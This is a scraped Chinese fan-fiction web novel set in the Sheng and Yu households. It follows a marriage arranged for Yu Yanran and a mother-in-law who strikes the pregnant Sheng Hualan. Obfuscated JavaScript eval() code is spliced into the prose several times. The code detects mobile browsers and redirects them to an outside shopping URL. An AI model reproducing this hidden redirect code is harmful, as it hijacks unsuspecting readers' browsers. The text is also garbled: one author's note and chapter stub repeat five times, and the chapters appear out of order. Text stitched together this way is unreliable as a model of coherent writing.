盛老太太瞧着余老太太这般神情不似作假,好似无意开玩笑般,道:“瞧你说的,然姐儿性子像你也是极好的,况且我瞧然姐儿这般,恨不得抢过来给我当孙媳妇呢。” 余老太太眼含笑意的微微摇了摇头,道:“你在说什么胡话呢,你的孙子们里头,贤王已定了安康郡主,柏哥儿是你家三房的嫡长子,定是要先立业后成家,待到他考中进士至少要三六年,我家然姐儿可等不来啊!你家三房的庶子盛长枫,倒是与我家然姐儿年岁相仿,可他身份摆在这呢,我那儿子定是不会同意这桩亲事。” 盛老太太嘴角微微弯起,语气中带着些许笑意,道:“我说的孙子可不单单指的亲孙子,还有外孙子,你也知道宁远侯府的端淑县主是我儿子的义妹,也是我的义女,她儿子不就是我外孙嘛,这个人选如何嘛。” 余老太太吃惊的看向盛老太太,那表情像是在说你是不是在讲笑话,可她瞧着盛老太太的神情已然变成十分庄重的样子,便知道盛老太太不是在开玩笑,她沉默片刻,道:“你说的可是宁远侯府嫡次子顾廷烨。” 余老太太瞧着盛老太太微微点了点头,眼中带着些许复杂的神色,道:“这是你的意思,还是端淑县主的意思。” 盛老太太扇了扇手中的扇子,慢条斯理道:“自然是婷儿的意思,不过,我瞧着这桩婚事也不错,便来探探你的口风了。” 余老太太眼中闪过一丝挣扎,可没过多久又回归平静,道:“顾家大郎那身子骨在汴州城也不算什么秘密,将来他若是无嗣继承爵位,那你大外孙便是爵位的继承人,我家然姐儿的性子,我最是了解不过,她当不得宗妇人选,也管不来侯府那一大堆事情,亲事是好的,可然姐儿她不适合侯府那高门大户。” 盛老太太放下手中的扇子,语气柔和道:“你莫急着拒绝,不是我自夸啊!这门亲事是真的好,且不说这顾家大郎能不能有男嗣的问题,我家婷儿在汴州城是出了名的端庄贤淑的大娘子,她也给我通了个底,只要你家然姐儿能生,烨哥儿房中绝不会出现什么通房妾侍,况且正如你说想找一个能护得住你家姑娘的夫婿,烨哥儿正是个不错的选择,至于你说然姐儿不是个宗妇的好人选,也没能力应付高门大户中的心眼,婷儿也提到过,她若是能调教出然姐儿最好,若是调教不出然姐儿,她就只管给孙儿们找个能抗家事的大娘子,然姐儿年轻时她来护着,然姐儿老时,然姐儿的媳妇们来护着。” 盛老太太瞧着余老太太的眼神中有些许动摇,趁热打铁道:“我自知你家事情向来是你那官人做主,不如你回去与他商议商议,左右这件事情也不急,你放心,这桩亲事成或不成都不会影响你我之间的情谊。” 盛老太太的这些话瞬间触动了余老太太,余老太太有些心动道:“那我回去和然姐儿祖父商议商议再做决定。” 盛老太太脸上的笑容深了几分,随即将手中的团扇放在桌上,语气缓慢且轻柔道:“不急不急,我们两家慢慢商议。” 盛老太太从碟子中取出一块樱桃煎递给余老太太,仿佛从未提过这桩亲事般,道:“你尝尝我家蜜饯局的樱桃煎,瞧瞧可还不错嘛。” 余老太太虽然心里装着事情,但也顺着盛老太太的话,拿起一块樱桃煎尝了口,道:“是,挺不错的。” 盛老太太和余老夫人就着吃食聊起了其他话题,临近中午时,余老夫人便提出了辞行,而盛老太太也派人找回了余嫣然和盛明兰、盛如兰、盛墨兰。 余老太太从余嫣然回来时脸上洋溢的笑容,不难看出她与盛家三个姑娘相处的极其融洽,心中的意动随即又多了几分,她瞧着盛明兰等人的装扮和气度,不用想也知道盛家在对待姑娘们的吃穿用度、教养上定是极其用心,心里暗道:“这盛家姑娘们瞧着极好,无论这桩婚事成或不成,都要多带着然姐儿与盛家姑娘们交往,若是然姐儿将来遇上什么难事,或许盛家姑娘们冲着这交情能帮帮她。” 余老太太拉着余嫣然与盛老太太等人告辞,待回余家的途中,余老太太在马车内拉着余嫣然,神情柔和,道:“然儿,瞧着你与盛家妹妹们很合得来啊!” 余嫣然脸上浮现一抹微笑,轻声细语,道:“盛家妹妹们待孙女十分和善,明兰妹妹和如兰妹妹一直拉着孙女看府中的风景,墨兰妹妹在一旁给孙女讲一些有趣的事情,待到孙女逛累后,明兰妹妹她们还十分贴心的拉着孙女去亭子休息,并叫女使们端来糕点、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150186|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水果和茶水。” 余嫣然不由的回忆起在亭子时的事情,道:“如兰妹妹说府中的樱桃煎不如南北铺子的樱桃煎味道更得人心意,说改日若是孙女再登门拜访,提前差人告知她一声,她好派人去南北铺子买樱桃煎给我尝尝,明兰妹妹瞧见我绣的帕子,一个劲的夸我手巧,墨兰妹妹倒是没怎么说话,许是累着了……” 余老太太瞧着余嫣然说得兴奋也没有说什么,只是静静的听着余嫣然述说着今日的趣事,待余嫣然说完后,她才眼含笑意,道:“瞧着你这般开心,定是与盛家姑娘们十分投缘,这般也好,你若是能得几个闺中好友,祖母自是为你开心的,祖母往后常带你来找盛家妹妹们玩。” 余嫣然脸上带着些许微红,轻声细语,道:“嗯,盛家妹妹们待人亲和有礼,孙女与她们一块能学到不少东西。” 余老太太闻言,微微一笑,马车内也安静了下来,没过多久,她们就回到了余家,待余老太太一见到余老太师,便迫不及待的将今天之事告知了余老太师。 余老太师不是不知世事的余老太太,他一听完这件事情,瞬间就明白这门婚事里头的门道,他知道人家这是阳谋,毕竟他自己都找不出顾廷烨做为孙女婿的不好之处。 余老太师对于顾廷烨这个人还是有所耳闻的,他自幼长在盛国公膝下,才华横溢,出身侯府,母亲贵为县主,外祖父又是扬州城里有名的盐商,无论是银钱,还是地位,乃至才学都是不缺的,唯一的缺陷就是宁远侯府是武将出身,给不了作为文官的顾廷烨多少助力,当然,这也是端淑县主看中余嫣然的原因。 余老太师知道与其说端淑县主看中余嫣然,还不如说端淑县主看中他手中的人脉,不过,他对此事并不在意,毕竟自己有四个儿子,其中三个对为官做宰毫无兴趣,余下这一个空有野心,若是提拔这个大儿子,少不得将来会给余家惹下祸端,还不如将他手中的人脉交由自个孙女的夫婿呢。 余老太师看的开,余家的子孙如今看来大多资质平庸,人走茶凉,手中的资源人脉放着也是浪费,还不如用在自个的孙女婿身上,若是孙女婿人品贵重,到时候自会帮衬着余家。 余老太师面带微笑的摸了把胡须,语气轻柔且具有安抚性,道:“这是一门好亲事,你无需担心什么,我曾瞧过一眼那顾廷烨,一表人才,才华横溢,人品贵重,然姐儿嫁过去定能和和美美,再者,盛国公向来是护短的,端淑县主和盛国公情同亲兄妹般,多少有些相似之处,况且端淑县主能料理顾家那一大家子可见其能耐,若是然姐儿成了她的媳妇,她定会将然姐儿护得好好的,那不成器的伤不到然姐儿分毫。” 余老太师一提到余嫣然的父亲就一脸恨铁不成钢的样子,尤其是想到他竟然想将余嫣然送给他的上司当小妾,就恨不得撕了他,余家嫡长女当妾,他这是想逼死余家所有姑娘啊! 余老太太无奈的叹了口气,语气中带着些许自责的意味,道:“你先别提起他了,你一提他就生气,都是我不好,养出这么个儿子来,我要是硬气些,能镇住大郎的媳妇,你就不用这么劳累了。” 余老太师拉着余老太太的手,语气中满是安抚的意味,道:“这哪能怪你啊!你的性子就这样,哪能镇的住大郎那不要脸的媳妇,说起来,他们夫妇二人真是不要脸啊!败完了然姐儿母亲的嫁妆,还刻待然姐儿,如今竟还有脸想着用然姐儿去攀高枝,只要我还活着,他们两人就去做他们的春秋大梦去吧,然姐儿的婚事只有我才能做主。” 余老太师不知想起什么,语气十分郑重的嘱咐余老太太,道:“然姐儿与顾家的亲事在没成之前,你谁也不能说。” 余老太太不明所以,语气中满是疑惑的回道:“为什么嘛,这不是好事嘛,他们若是知道后,定然不会再惦记着然姐儿了。” 余老太师看着一如既往天真的老妻,语气中满是无奈和宠溺的意味,道:“你啊!你,我们可不止然姐儿这一个孙女,你能保证这事情在没有定下之前,告知全家人,不会生变嘛,且不说,你那其他三个媳妇会不会起心思,就老大那媳妇能不起些心思嘛,嫣红和嫣然岁数相差不大,到时候她不要脸来个狸猫换太子,得罪了端淑县主,惹怒了盛国公,那可不美了,如今没了盛国公夫人在旁拉着点,就盛国公那脾气,就算到时候她把嫣红塞进顾家,盛国公都能在大庭广众之下把人扔出来,你信不信呢。” 余老太太听到余老太师这么说,结合汴州城内盛瑾的传说,心里便肯定了余老太师的话,点了点头,表示了自己听余老太师的,而余老太师笑着与余老太太聊起了其他的事情,待到几日后,余老太太去信给盛老太太表示同意这门婚事,盛老太太当即就写信给了白滢婷。 白滢婷得知消息后就立马派人找了个余嫣然父亲和继母不在的时候,让媒婆上门提亲,等余家其他人反应过来时,余嫣然和顾廷烨的婚事早已定下,就等着一年后成亲了。 83.第 116 章 盛瑾一行人在宥阳的这些日子里,汴州城发生了许多事情,白滢婷在顾廷烟出嫁不久,便给顾廷炜定下了承平伯府嫡女为妻,而盛长枫的婚事,在盛竑的挑三拣四下,王若弗罢工了,最后由盛竑定下了同袍的嫡女,不过最大的事情还是二王联手逼宫,但这在皇帝的掌握中,最终的结果是二王被贬为庶人的同时,天下人也知道皇帝还有一个儿子的事情,等盛瑾一行人回到汴州城时,一切都尘埃落定了。 (因为这篇同人文我没有写大纲,再加上平时有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150187|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,写的时候前面的剧情有些遗忘了,因此文章有些混乱,所以我打算进行大面积的修改,在此草草写了一个完结了,以上是后面故事的大概走向,接下来主要是以此文章为大纲进行修改,如果大家看到更新,大概率是在修文。) 84.第 116 章 盛瑾一行人在宥阳的这些日子里,汴州城发生了许多事情,白滢婷在顾廷烟出嫁不久,便给顾廷炜定下了承平伯府嫡女为妻,而盛长枫的婚事,在盛竑的挑三拣四下,王若弗罢工了,最后由盛竑定下了同袍的嫡女,不过最大的事情还是二王联手逼宫,但这在皇帝的掌握中,最终的结果是二王被贬为庶人的同时,天下人也知道皇帝还有一个儿子的事情,等盛瑾一行人回到汴州城时,一切都尘埃落定了。 (因为这篇同人文我没有写大纲,再加上平时有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281039|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,写的时候前面的剧情有些遗忘了,因此文章有些混乱,所以我打算进行大面积的修改,在此草草写了一个完结了,以上是后面故事的大概走向,接下来主要是以此文章为大纲进行修改,如果大家看到更新,大概率是在修文。) 85.第 116 章 盛瑾一行人在宥阳的这些日子里,汴州城发生了许多事情,白滢婷在顾廷烟出嫁不久,便给顾廷炜定下了承平伯府嫡女为妻,而盛长枫的婚事,在盛竑的挑三拣四下,王若弗罢工了,最后由盛竑定下了同袍的嫡女,不过最大的事情还是二王联手逼宫,但这在皇帝的掌握中,最终的结果是二王被贬为庶人的同时,天下人也知道皇帝还有一个儿子的事情,等盛瑾一行人回到汴州城时,一切都尘埃落定了。 (因为这篇同人文我没有写大纲,再加上平时有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283281|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,写的时候前面的剧情有些遗忘了,因此文章有些混乱,所以我打算进行大面积的修改,在此草草写了一个完结了,以上是后面故事的大概走向,接下来主要是以此文章为大纲进行修改,如果大家看到更新,大概率是在修文。) 86.第 116 章 盛瑾一行人在宥阳的这些日子里,汴州城发生了许多事情,白滢婷在顾廷烟出嫁不久,便给顾廷炜定下了承平伯府嫡女为妻,而盛长枫的婚事,在盛竑的挑三拣四下,王若弗罢工了,最后由盛竑定下了同袍的嫡女,不过最大的事情还是二王联手逼宫,但这在皇帝的掌握中,最终的结果是二王被贬为庶人的同时,天下人也知道皇帝还有一个儿子的事情,等盛瑾一行人回到汴州城时,一切都尘埃落定了。 (因为这篇同人文我没有写大纲,再加上平时有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502934|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,写的时候前面的剧情有些遗忘了,因此文章有些混乱,所以我打算进行大面积的修改,在此草草写了一个完结了,以上是后面故事的大概走向,接下来主要是以此文章为大纲进行修改,如果大家看到更新,大概率是在修文。) 87.第 116 章 盛瑾一行人在宥阳的这些日子里,汴州城发生了许多事情,白滢婷在顾廷烟出嫁不久,便给顾廷炜定下了承平伯府嫡女为妻,而盛长枫的婚事,在盛竑的挑三拣四下,王若弗罢工了,最后由盛竑定下了同袍的嫡女,不过最大的事情还是二王联手逼宫,但这在皇帝的掌握中,最终的结果是二王被贬为庶人的同时,天下人也知道皇帝还有一个儿子的事情,等盛瑾一行人回到汴州城时,一切都尘埃落定了。 (因为这篇同人文我没有写大纲,再加上平时有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503092|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 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事,写的时候前面的剧情有些遗忘了,因此文章有些混乱,所以我打算进行大面积的修改,在此草草写了一个完结了,以上是后面故事的大概走向,接下来主要是以此文章为大纲进行修改,如果大家看到更新,大概率是在修文。) 91.第 116 章 盛瑾一行人在宥阳的这些日子里,汴州城发生了许多事情,白滢婷在顾廷烟出嫁不久,便给顾廷炜定下了承平伯府嫡女为妻,而盛长枫的婚事,在盛竑的挑三拣四下,王若弗罢工了,最后由盛竑定下了同袍的嫡女,不过最大的事情还是二王联手逼宫,但这在皇帝的掌握中,最终的结果是二王被贬为庶人的同时,天下人也知道皇帝还有一个儿子的事情,等盛瑾一行人回到汴州城时,一切都尘埃落定了。 (因为这篇同人文我没有写大纲,再加上平时有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604049|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,写的时候前面的剧情有些遗忘了,因此文章有些混乱,所以我打算进行大面积的修改,在此草草写了一个完结了,以上是后面故事的大概走向,接下来主要是以此文章为大纲进行修改,如果大家看到更新,大概率是在修文。) 92.第 92 章 清晨,忠勤伯爵府,陈嬷嬷前脚刚踏进袁家,大章氏后脚就得知了此事,她眼中满是怒火,随即将手中的杯子摔在地上,“砰”的一声,碎片四散,她恶狠狠道:“好一个盛家,好一个盛华兰,她前天刚回趟娘家,今个盛家就送来了个宫里出来的嬷嬷,先前是补品药材,现下是嬷嬷,这不明摆着告诉满汴州城的人,我刻薄他们家姑娘嘛。” 大章氏的贴身丫鬟安抚道:“大娘子莫气,气坏了身子不值当,这次送来的人来头不小,据说是盛国公特地为韶德郡主从宫里求出来的嬷嬷,我们还是小心些为好,再者,外头如今都说韶德郡主为着姐姐平安生产才特意送来个嬷嬷,此举乃是姐妹情深的表现,若是大娘子做了什么便不妥了。” 大章氏气呼呼的吼道:“这还用你说嘛,没用的东西,那贱人真是长本事,如今都会从自个娘家找帮手,可恶,她身边有这个嬷嬷在,我怕是再难从她那弄到银钱,怎么办,怎么办……” 大章氏的贴身丫鬟早已被她吼到一旁,她瞧着大章氏现下的样子,默不作声的降低自个的存在感,生怕大章氏迁怒于她。 大章氏院里的动静之大,让盛华兰想不知道都难,她面无表情,语气平淡的好似一件习以为常之事,道:“我这婆婆又在闹什么,这一天天的没个安生日子过。” 翠蝉闻言,语气中带着一丝调笑的意味,道:“许是伯爵娘子在气我们盛家又是送补品,又是派陈嬷嬷过来陪姑娘生产,自觉我们盛家这么做有损她伯爵娘子的名声和脸面,可如今陈嬷嬷已在府中不好回绝,毕竟她还不想在宫中嬷嬷面前丢脸,况且陈嬷嬷是宫里的老人,她那些手段自然上不得场面这样也好,可不得忍着嘛,姑娘可算是有两个月安生日子了。” 盛华兰脸上浮现出一抹笑容,眼神中带着些许担忧,道:“多亏了明兰妹妹,可不知为什么,我这心中总是有些许不安,怕她再出什么幺蛾子来对付我。” 翠蝉不同于盛华兰的忧心,她对陈嬷嬷十分有信心,脸上带着些许轻松的表情,道:“姑娘,我们如今有陈嬷嬷这根定海神针,那伯爵娘子若不想丢人的话,定不敢胡闹到陈嬷嬷面前,你就放心吧。” 盛华兰被翠蝉的神情逗的噗嗤一声,笑出了声来,道:“你呀你,不过你说的也对,左右不过是兵来土挡,水来土掩罢了。”可是她万万没有想到大章氏会被自个娘家人逼得狗急跳墙。 大章氏的嫂嫂和母亲自从大章氏答应她们后,就一直等着大章氏送银钱,可她们眼瞧着两个月都快过去,大章氏那边一点消息都没有,忍不住派人来催促,毕竟好差事不等人,而大章氏自从陈嬷嬷到了袁家便不好对盛华兰下手,就算她找借口叫来盛华兰,陈嬷嬷也会随之而来,三言两语让她哑口无言,偏偏这时候她的母亲嫂嫂又来催促银钱,她东拼西凑、想尽办法,最终还差一万两,没得法子,只能派人叫来了盛华兰。 陈嬷嬷本想陪着盛华兰一起去,可盛华兰想着自从陈嬷嬷来后,大章氏就极少找她麻烦,再加之先前她每每与大章氏见面,陈嬷嬷都在场帮衬着她,导致大章氏在袁文绍耳边嘟喃了几句“你这大娘子架子真大,每每与我见面都要陈嬷嬷在场,好似我会吃了她一样。”虽然袁文绍没说什么,但她也知道他心中有些疙瘩,故而这次她打算自个去,毕竟大章氏与她已经有半个多月未曾见面,想来也不会拿她怎么样,更何况她都怀孕九个月,大章氏应该会顾忌些她的肚子。 大章氏一见到挺着大肚子的盛华兰,先是亲自招呼她坐下,又是询问她的身体状况,俨然是一副好婆婆的样子,搞得盛华兰都快要起鸡皮疙瘩,好在没一会儿,大章氏便开口道:“华兰,你嫁进我们袁家有些年头,也是我们袁家的人,现下袁家有些问题需要你搭把手,府中的两间铺子出了点问题,需要一万两银钱,我想着你的嫁妆也不少,不如先拿来应应急。” 盛华兰一下子拉响警报,她先前管着忠勤伯爵府的账本时,已经将其含糊不清的账目填平,后来她把账本还给大章氏之前,还特意理了一遍账目,确保没有任何问题才将其交给大章氏,她现下可不信大章氏口中铺子不过一年多就出问题的话,与其说是府中铺子出问题缺银钱周转,还不如说是大章氏缺银钱花了。 盛华兰从某种程度上猜对此次事情的起因,最近章家想要走门路,为自家孩子也就是大章氏的侄子谋个出路,当这件事情不是那么好办的,至少银钱必须备足。 盛华兰沉默不语,若是一两千两银钱,她咬咬牙也就给出去,可大章氏直接狮子大开口要一万两,她真好意思开口,莫不是以为她的嫁妆取之不尽,用之不竭,原先管家的时候,她已经贴补府中将近五万两,虽然近几年将管家权还回给大章氏,但逢年过节给大章氏的银钱东西,再加上平日里大章氏向她要的银钱,少说都有七八千两,如今她的嫁妆只剩当初的一半,那都是要留给她的儿子女儿,哪里舍得再拿出一万两给大章氏啊! 大章氏许是这些年朝盛华兰伸惯了手,自认为对盛华兰都这般俯首做小,盛华兰肯定拉不下脸拒绝自己的要求,她瞧着盛华兰沉默不语,自顾自道:“你放心,待我们袁家度过这个难关,定不会忘了你的付出。”她说完,便坐着等盛华兰拿银子,只是这次她错估了盛华兰。 盛华兰先前是为了安生日子,再加之大章氏索要的银钱在她的容忍范围内,才顺着大章氏,没曾想竟然养大了大章氏的胃口,张口就要一万两银钱,这可是将近她现下银钱的三分之一,没当场骂大章氏无耻已经很有涵养,她平复了一下心情,脸上浮现出些许愁苦的表情,道:“母亲,我的嫁妆银子早已贴补府中,如今所剩无几,那还拿的出一万两银钱呢,若是母亲执意要我拿这笔银钱,我只好回娘家去借了。” 盛华兰在大章氏渐渐难看的脸色中,语气恭谨道:“一万两银钱不是小数目,我父亲母亲估计是拿不出这笔银钱,最后怕不是朝祖母和二伯父张口,若是二伯父知道此事,少不得要过问一下父亲(袁伯爷),我们袁家到底为什么缺钱到要外嫁女回娘家借钱呢。” 大章氏本来听到盛华兰说没钱时,脸上已经变得难看起来,现下听见盛华兰拿盛瑾和盛老太太压她,顿时脸色大变,破口大骂道:“你个贱人,尽然拿你二伯父和祖母来压我,翅膀硬了你,你们盛家姑娘真是好样的,忤逆婆母,你没钱就去变卖嫁妆,对了,还有你的田产铺子、分配红利,这些可不止一万两,你那一部分出来卖掉不就有银钱给我了嘛,你若不给我一万两银钱,你往后在府中的日子别想好过。” 盛华兰被大章氏这不要脸的模样气到了不行,当即起身,面无表情,语气冰冷道:“既然母亲执意如此,我就只好去问问父亲,我们袁家是不是缺钱缺到了要媳妇变卖嫁妆的地步了。” 大章氏本就因着盛华兰拿盛瑾和盛老太太压她,而满心怒火,现下瞧着盛华兰不仅敢顶撞她,还要告诉袁伯爷,当即怒气上头,一巴掌打到盛华兰脸上,将盛华兰打到在地上,可见力气之大。 翠蝉站在盛华兰身旁一时没反应过来,毕竟任谁都没想过大章氏会对怀有九个月身孕的盛华兰动手,待到她反应过来时,盛华兰已经被打在地,衣裙上隐约有大片水迹,瞧着像是盛华兰□□流出了液体,她瞪大双目,尖叫起来道:“姑娘,来人啊!姑娘,快来人去找陈嬷嬷啊!”她一边喊一边护着盛华兰。 盛华兰感觉到自个□□有液体流出,低头看去,裙摆上已然出现大面积的水迹,她一时之间慌了神,语气中满是悲凉且尖锐,道:“孩子,孩子,翠蝉,我的孩子会不会有事啊!我现下有些疼了。” 大章氏早在盛华兰裙摆上出现大片水迹时吓傻了眼,呆呆的站在原地,一时回不过神来,当然,屋内的丫鬟们也被她这一举动吓傻在原地,当翠蝉的声音响起时,盛华兰带来的丫鬟们一部分下意识上前守着盛华兰,一部分下意识按着翠蝉的话冲出去找陈嬷嬷,其余的丫鬟同样在翠蝉的叫声中回过神来,她们瞧了眼盛华兰,又看向一旁的大章氏,一时之间不知如何是好,只能呆愣在原地,不敢轻易上前做什么,毕竟她们是大章氏院子里的丫鬟,没有大章氏的命令,不敢擅自行动,待到陈嬷嬷来到此处,她瞧见屋内丫鬟们鲜明的分成两派,不用猜就知道站着不动的是大章氏的丫鬟们,围在盛华兰身边守着的则是盛华兰的丫鬟们,她定睛一看,翠蝉正一脸焦急的看着躺在地上的盛华兰不知如何是好,且盛华兰的裙摆已湿了大片,脸色一沉,道:“还在那站着干嘛,快去准备屋子,二大娘子这是动了胎气早产,若是二大娘子有个万一,无论是袁家,还是盛家都不会放过你们。” 陈嬷嬷瞧着大章氏的眼中闪过一丝嫌弃,又想起了自个此行的目的,心中不由得暗自庆幸道:“好在二房大姑娘已经怀孕九个月,要不然,这孩子怕是活不下来。”许是她气场太强,又或是全场只有她一个冷静的人,再加之她话中的威胁起了作用,大章氏的丫鬟们开始听她指挥,急忙去收拾屋子,不一会儿屋子收拾妥当,盛华兰也被搬进了屋内,全程下来没人有空去看罪魁祸首的大章氏,她更是一个眼神都没给过大章氏。 大章氏院中的大动静早在陈嬷嬷出现时,就有眼尖的小厮通报到袁伯爷这,袁伯爷在赶往大章氏的院子途中,心中已升起一阵不安,待到他瞧着满院人来人往的场面,心下更是一沉,当即抓了个丫鬟询问此事,好巧不巧的抓得正是盛华兰身边的丫鬟,她没有替大章氏隐瞒一丝一毫,也没有对此添油加醋,只是将她所看到的一五一十告知了袁伯爷。 袁伯爷了解了事情的经过后,下意识的找寻到了大章氏,他狠狠的盯了一旁的大章氏一眼,语气冰冷道:“先前难产,现下早产,你最好祈祷二媳妇平安生产,盛家能顾着些袁家的颜面,要不然,袁家和章家加起来都保不住你。” 大章氏从不认为这是她的错,心里暗暗骂道:“要是那贱人痛快的拿出银钱,哪会发生这档子事,况且是她先拿盛家和官人压我,要不然,我也不会一时气上心头动了手。”可她却不敢将这话告知盛怒中的袁伯爷。 屋内传出盛华兰阵阵惨叫声,还有丫鬟们进进出出的身影,她们端着一盆盆清水进去,又端着一盆盆血水出来倒掉,在场的丫鬟小厮们大气都不敢出一下,不知过了多久,屋内才传出一声婴儿的啼哭声,丫鬟跑出来,大声叫道:“生了,生了,二大娘子平安产下一个哥儿。” 满院的人在听见这句话时才将心中的大石头放下,待到陈嬷嬷从屋内出来,瞧见袁伯爷,大步上前行了一礼,语气恭谨却不容拒绝道:“袁伯爷,我会将此事如实报给国公爷和老夫人,今个若不是我在场,二大娘子和哥儿恐怕难保全。” 陈嬷嬷先是表明了盛华兰此次生产的凶险,又暗示了袁伯爷最好想想如何给盛家一个交代,她考虑到盛华兰日后还是要在袁家生活,故而给了袁伯爷些许颜面,要不然,她只管告知盛瑾和盛老太太此事,那用得着多句嘴。 大章氏显然没听出陈嬷嬷话中的含义,她见盛华兰如今无恙,又支楞了起来,道:“这是我袁家的事,关你们盛家什么事,再说了,哪个妇人生产不是在鬼门关走一遭,偏得你家姑娘金贵……” 袁伯爷瞧着大章氏一副理所应当的样子,她还以为人家陈嬷嬷不知道这件事情的由来嘛,当时在场的可不止有大章氏的丫鬟们,还有盛华兰的丫鬟们,他当即怒吼打断大章氏的发挥道:“你这个愚妇给我住嘴。” 袁伯爷在大章氏一脸不可置信的表情中,给陈嬷嬷拱了拱手,语气满是愧疚道:“华儿此次生产多亏有陈嬷嬷在,我们袁家对陈嬷嬷感激不尽,这件事情是我们袁家理亏,我们袁家一定会给盛家一个交代。” 陈嬷嬷微微点了点头,当即回去收拾东西回丰国公府,待陈嬷嬷离开院子,袁伯爷忍不住对着大章氏怒吼道:“你这个愚妇给我滚到书房去。” 袁伯爷压低声音对着身旁贴身小厮道:“你找个人去将纯哥儿和绍哥儿叫回来,说是家中有事情需要他们回来一趟,待到他们回府就直接领到我书房去。”小厮待袁伯爷说完便下去办差事了。 书房内一片寂静,袁伯爷没理会大章氏,大章氏自然也不敢开口说什么,待到袁文纯和袁文绍到齐,袁伯爷才缓缓开口将此事一字不落的告诉了二人。 袁文纯和袁文绍满脸震惊的看向大章氏,尤其是袁文纯,他两眼直瞪瞪的看着大章氏,忍不住道:“母亲,我怎么不知道府中铺子需要一万两银钱周转的事情呢。”他整日无所事事,府中铺子若是短缺了一万两银钱,不可能一点消息都没传到他耳边。 大章氏被大儿子问的心虚,也不知如何回答,总不能告诉他,自个是为了娘家侄子谋差事缺的银钱吧,故而她压下自个的心虚,转移话题道:“都怪那陈嬷嬷,她要是不告诉盛国公,不就没有的事了嘛,那盛华兰还能将这件事情告诉盛家不成嘛,说起来都是她的错,她的嫁妆本来就是袁家的,我拿来用用怎么了。” 